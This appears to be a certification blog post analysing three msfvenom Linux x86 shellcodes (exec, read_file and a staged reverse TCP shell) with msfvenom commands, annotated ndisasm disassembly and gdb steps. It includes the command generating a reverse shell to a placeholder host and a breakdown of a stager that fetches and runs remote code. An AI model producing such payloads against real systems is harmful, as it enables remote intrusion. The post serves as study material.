SLAE32 Assignment 5 - msfvenom shellcode analysis
shellcode will be analyzed with ndisasm and libemu if possible, then with gdb to someway follow the flow. i choose to analyze both basic commands and one reverse shell, the command i used to create payloads are:
msfvenom -p linux/x86/exec CMD=/usr/bin/id -f raw > exec.raw
msfvenom -p linux/x86/exec CMD=/usr/bin/id -f c > exec.c
msfvenom -p linux/x86/exec CMD=/usr/bin/id > exec
chmod + exec
sctest -vvv -S -s 99999 -G exec.dot < exec
dot -Tjpg exec.dot > exec.jpg
msfvenom -p linux/x86/read_file PATH=/etc/hosts -f c > readfile.c
msfvenom -p linux/x86/read_file PATH=/etc/hosts -f raw > readfile.raw
msfvenom -p linux/x86/read_file PATH=/etc/hosts > readfile
chmod +x readfile
sctest -vvv -S -s 99999 -G readfile.dot < readfile
dot -Tjpg readfile.dot > readfile.jpg
msfvenom -p linux/x86/shell/reverse_tcp_uuid LHOST=1.2.3.4 LPORT=4444 -f c > reverse.c
msfvenom -p linux/x86/shell/reverse_tcp_uuid LHOST=1.2.3.4 LPORT=4444 -f raw > reverse.raw
msfvenom -p linux/x86/shell/reverse_tcp_uuid LHOST=1.2.3.4 LPORT=4444 > reverse
chmod +x reverse
sctest -vvv -S -s 99999 -G reverse.dot < reverse
dot -Tjpg reverse.dot > reverse.jpg
because all the code is 32bit, i will use ndisasm -u to disasm. about gdb, i choose to include a C file with msfvenom buf[] and recompile every time. to break when shellcode is runt, you can b *&buf
exec
ndisasm -u exec output and comments:
00000000 6A0B push byte +0xb ;
00000002 58 pop eax ; just place 0xb in eax
00000003 99 cdq ; because eax is not negative, fills edx with 0
00000004 52 push edx ; push 0x0 to esp (string terminator maybe?)
00000005 66682D63 push word 0x632d ; push -c to the stack
00000009 89E7 mov edi,esp ; move esp pointer to edi, i guess this will be
; an execve argument
0000000B 682F736800 push dword 0x68732f ; push hs/ (/sh)
00000010 682F62696E push dword 0x6e69622f ; push nib/ (/bin/)
00000015 89E3 mov ebx,esp ; move esp pointer to ebx, esp holds: /bin/sh
00000017 52 push edx ; push 0x0 because edx was nulled at 0x3
00000018 E80C000000 call 0x29 ; i liked a lot this call because it jumps to a
; non aligned code, fooling ndisasm and gdb
0000001D 2F das ; from here, useless junk until 0x29
0000001E 7573 jnz 0x93
00000020 722F jc 0x51
00000022 62696E bound ebp,[ecx+0x6e]
00000025 2F das
00000026 696400575389E1CD imul esp,[eax+eax+0x57],dword 0xcde18953
0000002E 80 db 0x80
moving to gdb, i set 05_shellcode.c to include exec.c, compiled and runt with b *&buf
i know that the call is at 0x29 from buf, so i take buf starting address
in gdb and add 0x29: “offending” code is at 0x56559069
because gdb/GEF can also print instruction, i just use x/i to see the code
gef➤ x/4i 0x56559069
0x56559069 <buf+41>: push edi
0x5655906a <buf+42>: push ebx
0x5655906b <buf+43>: mov ecx,esp
0x5655906d <buf+45>: int 0x80
gef➤
i already know something about my registers:
- eax => 0xb (execve syscall id)
- ebx => pointer to /bin/sh
- edi => pointer to -c, which is the arg
- esp => has on top /usr/bin/id
i see that edi is pushed, so esp will be: -c /usr/bin/id ebx is pushed again, to have actually /bin/sh -c /usr/bin/id pointer to shell is moved to ecx, and syscall is executed
at first you could think libemu is useless to analyze this simple code because there is just one execve and some basic reg manipulation, but because she emulates the code, she’s not fooled with that call 0x29 and i’ve could seen the right flow from call to push/push/mov/execve
both reading exec.c and disassembled code, we can see that there are a lot of null bytes. this code will surely need optimization if used during an active exploitation.
readfile
libemu wasn’t able to emulate anything here, i’ll dig as extra mile in the near future. back to gdb/ndisasm, this is ndisasm -u readfile output with some comment ordered to follow the flow easily:
00000000 EB36 jmp short 0x38 ; 1) cool, starting with a jump will surely simplify analysis...
00000002 B805000000 mov eax,0x5 ; 3) eax => 0x5 , syscall open call
00000007 5B pop ebx ; 4) gdb i'll confirm this, i guess ebx will hold a filename
00000008 31C9 xor ecx,ecx
0000000A CD80 int 0x80 ; 5) do the actual call
0000000C 89C3 mov ebx,eax ; 6) because syscall place retcode in eax, and for open it's the
; fd, he saves it to ebx
0000000E B803000000 mov eax,0x3 ; 7) eax => 0x3 , if it will be used as a syscall would be read
00000013 89E7 mov edi,esp ;
00000015 89F9 mov ecx,edi ; 9) read wants a fd as input and a place to store read data
00000017 BA00100000 mov edx,0x1000 ;10) how much data to read
0000001C CD80 int 0x80 ; 8) ok it's the syscall read
0000001E 89C2 mov edx,eax
00000020 B804000000 mov eax,0x4
00000025 BB01000000 mov ebx,0x1
0000002A CD80 int 0x80 ;11) fast forward, do a syscall write to STDOUT
0000002C B801000000 mov eax,0x1
00000031 BB00000000 mov ebx,0x0
00000036 CD80 int 0x80 ;12) clean exit
00000038 E8C5FFFFFF call 0x2 ; 2) ok, this time the code is aligned and i see what's going on
; looks like jmp-call-pop technique
0000003D 2F das ;13) by concatenating hex from here we could see read filename
; 2F6574632F686F737473 => /etc/hosts
0000003E 657463 gs jz 0xa4
00000041 2F das
00000042 686F737473 push dword 0x7374736f
00000047 00 db 0x00
on gdb, i want to confirm that the jmp-call-pop will return actually /etc/hosts:
- gdb ./readfile
- b *&buf
- r
- c
- n
- si
and after → 0x56559047 <buf+7> pop ebx
we can see that now
$ebx : 0x5655907d → “/etc/hosts”
both reading readfile.c and disassembled code, we can see that there are a lot of null bytes. even if it’s uncommon to read a file after an active exploitation, this code would need optimization to remove null bytes.
reverse
as you can see in reverse.jpg , the flow is quite basic: create a socket, connect, do something. i already developed my own revshell and i think i’m familiar with the flow, so fastly to ndisasm:
00000000 6A0A push byte +0xa
00000002 5E pop esi ; put 0xa in esi, will use it to loop for reconnection in 0x2F
00000003 31DB xor ebx,ebx
00000005 F7E3 mul ebx ; multiply ebx and eax, and put result in eax+edx. result in
; zeroing both eax and edx, because ebx has been zeroed in 0x3
00000007 53 push ebx
00000008 43 inc ebx
00000009 53 push ebx
0000000A 6A02 push byte +0x2 ; i remember doing almost the same 4 instruction to have 0,1,2
; on the stack, which is common arg for a tcp reverse shell
0000000C B066 mov al,0x66 ; and here we have socketcall socket
0000000E 89E1 mov ecx,esp ; pointer to socket arg in ecx
00000010 CD80 int 0x80 ; create the socket
00000012 97 xchg eax,edi ; save socket fd in edi
00000013 5B pop ebx ; top of stack is 0x2, put in ebx
00000014 6801020304 push dword 0x4030201 ; for connect, we need an ip address, translated it's 1.2.3.4
00000019 680200115C push dword 0x5c110002 ; and a port, which is 0x5c11 => 0x115c => 4444
; this push breaks the nullbyte requirement but it's cute because
; puts both port and 0x2 to have the struct full
0000001E 89E1 mov ecx,esp ; put the pointer in ecx
00000020 6A66 push byte +0x66
00000022 58 pop eax ; in eax syscall for socketcall 0x66
00000023 50 push eax ; start preparing next syscall arg with address len
00000024 51 push ecx ; pointer to address struct
00000025 57 push edi ; saved socket fd
00000026 89E1 mov ecx,esp ; have pointer for
the whole struct in ecx
00000028 43 inc ebx ; ebx was 2, we
need 3 for the connect call
00000029 CD80 int 0x80 ; do the connect
0000002B 85C0 test eax,eax ; 0x29 return will be in eax, if 0 connection has been completed
; test eax,eax sets SIGN flag if eax is negative (most significant
; bit is >7f). will set SIGN to true if connect fails
0000002D 7944 jns 0x73 ; if SIGN flag is not set, jumps to 0x73 which next "logic" step
0000002F 4E dec esi ; if connection fails, try "esi times", when esi is 0xa (10)
00000030 7468 jz 0x9a ; as soon as esi is 0, jump to neat exit
00000032 68A2000000 push dword 0xa2 ; this will sleep 5 secs before to try again
00000037 58 pop eax
00000038 6A00 push byte +0x0
0000003A 6A05 push byte +0x5
0000003C 89E3 mov ebx,esp
0000003E 31C9 xor ecx,ecx
00000040 CD80 int 0x80
00000042 85C0 test eax,eax ; eax is 0 because of nanosleep, so next jmp should always occurs
; or not just if nanosleep fails someway
00000044 79BD jns 0x3 ; jmp to buf+3, which is almost the start of the program
00000046 EB52 jmp short 0x9a ; jmp to neat exit again
00000048 53 push ebx ; i bet this code won't be never reached
00000049 51 push ecx
0000004A 6A00 push byte +0x0
0000004C 6A10 push byte +0x10
0000004E E810000000 call 0x63
00000053 91 xchg eax,ecx
00000054 21BDE454BC04 and [ebp+0x4bc54e4],edi
0000005A 6BA3C7A5C6FEA9 imul esp,[ebx-0x1395a39],byte -0x57
00000061 96 xchg eax,esi
00000062 2457 and al,0x57
00000064 89E1 mov ecx,esp
00000066 6A09 push byte +0x9
00000068 5B pop ebx
00000069 6A66 push byte +0x66
0000006B 58 pop eax
0000006C CD80 int 0x80
0000006E 83C410 add esp,byte +0x10
00000071 59 pop ecx
00000072 5B pop ebx ; end of never-reached code?
00000073 B207 mov dl,0x7 ; 0x7 to dl doesn't say anything itself, seeing next syscall at
; line 0x82, which is mprotect, we see that 0x7 will be "prot"
; reading man mprotect we see that 0x7 means rwx
00000075 B900100000 mov ecx,0x1000 ; and ecx will hold size len, so make a full page rwx
0000007A 89E3 mov ebx,esp ; move esp pointer to ebx, so mprotect knowns where to operate
0000007C C1EB0C shr ebx,byte 0xc ; made useless by next one
0000007F C1E30C shl ebx,byte 0xc ; makes useless prev one
00000082 B07D mov al,0x7d ; as said, mprotect syscall id
00000084 CD80 int 0x80
00000086 85C0 test eax,eax ; like at 0x2B
00000088 7810 js 0x9a ; but jumps to 0x9a (exit) if mprotect returns a negative number
; therefore an error
0000008A 5B pop ebx ; reading backward, se see that esp has on top socketfd: put in
; ebx. we can see it's a read syscall so we expect it will read
; from the socket itself
0000008B 89E1 mov ecx,esp ; put esp to ecx. read needs a pointer to a writable location,
; this means it will write to esp what she reads from the socket
0000008D 99 cdq ; eax is zero, so zero also edx to read unlimited bytes
0000008E B60C mov dh,0xc ; edx will be 0xc
00000090 B003 mov al,0x3 ; read syscall
00000092 CD80 int 0x80
00000094 85C0 test eax,eax ; because eax holds retcode, if zero sign flag will be unset if
; read doesn't return any error
00000096 7802 js 0x9a ; exit if any error
00000098 FFE1 jmp ecx ; jmp to received shellcode, executable because of mprotect
0000009A B801000000 mov eax,0x1 ; neat exit
0000009F BB01000000 mov ebx,0x1
000000A4 CD80 int 0x80
we see that libemu missed from the mprotect call afterwards, i bet it’s because of self protection.
SLAE-1037 This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/